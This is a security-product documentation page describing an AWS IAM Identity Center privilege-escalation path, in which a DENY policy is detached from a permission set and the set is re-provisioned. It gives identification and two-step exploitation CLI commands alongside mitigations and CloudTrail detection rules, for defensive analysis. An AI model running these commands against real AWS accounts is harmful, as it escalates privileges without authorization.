> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_sso_detach_customer_managed_policy.md).

# AWS\_SSO\_DETACH\_CUSTOMER\_MANAGED\_POLICY

## Summary

|                            |                                                                                            |
| -------------------------- | ------------------------------------------------------------------------------------------ |
| **Forestall ACL Alias**    | AWS\_SSO\_DETACH\_CUSTOMER\_MANAGED\_POLICY                                                |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole\|AWSIAMGroup → AWSPermissionSet`                                   |
| **Exploitation Certainty** | High                                                                                       |
| **AWS IAM Action**         | `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` + `sso:ProvisionPermissionSet` |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all SSO Admin APIs regardless of their IAM permissions.

An attacker with `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` and `sso:ProvisionPermissionSet` can remove a customer-managed policy from a target Permission Set and re-provision it across all assigned accounts. When the removed policy is a **DENY policy**, its removal widens the permissions of every principal holding that Permission Set.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DETACH_CUSTOMER_MANAGED_POLICY]-> (Target:AWSPermissionSet)`

Precondition: the target Permission Set must have at least one account assignment (`poisonablePsGuids`); without an assignment, provisioning has no effect.

## Identification

```bash
# List customer-managed policies referenced by a permission set
aws sso-admin list-customer-managed-policy-references-in-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DetachCustomerManagedPolicyReferenceFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>
```

## Exploitation

```bash
# Step 1: Remove the customer-managed DENY policy reference from the permission set
aws sso-admin detach-customer-managed-policy-reference-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --customer-managed-policy-reference Name=<policy-name>,Path=<policy-path>

# Step 2: Re-provision to push the updated (less restrictive) policy to all accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS
```

## Mitigation

* Restrict `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` and `sso:ProvisionPermissionSet` to dedicated Identity Center administrator roles.
* Use SCPs to block detachment of customer-managed policies from privileged Permission Sets.
* Alert in CloudTrail on any customer-managed policy detachment from a Permission Set, and on provisioning events that follow.
* Don't rely solely on customer-managed DENY policies for permission restriction. Combine them with Permission Boundaries for defense in depth.
* Enable audit logging for all `sso-admin` API calls in AWS IAM Identity Center.

## Detection

| CloudTrail Event                                        | Description                                                           | Key Fields                                                                                                   |
| ------------------------------------------------------- | --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ |
| `DetachCustomerManagedPolicyReferenceFromPermissionSet` | A customer-managed policy reference was removed from a Permission Set | `requestParameters.permissionSetArn`, `requestParameters.customerManagedPolicyReference`, `userIdentity.arn` |
| `ProvisionPermissionSet`                                | The Permission Set was re-provisioned to accounts                     | `requestParameters.permissionSetArn`, `requestParameters.targetType`, `userIdentity.arn`                     |

Alert when `DetachCustomerManagedPolicyReferenceFromPermissionSet` is followed by `ProvisionPermissionSet` on the same Permission Set ARN within a short window.

## References

* [HackTricks: AWS SSO & IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc)
* [AWS SSO Admin API: DetachCustomerManagedPolicyReferenceFromPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_DetachCustomerManagedPolicyReferenceFromPermissionSet.html)
* [AWS SSO Admin API: ProvisionPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_ProvisionPermissionSet.html)
* [AWS IAM Identity Center: Customer managed policies in permission sets](https://docs.aws.amazon.com/singlesignon/latest/userguide/customer-managed-policies.html)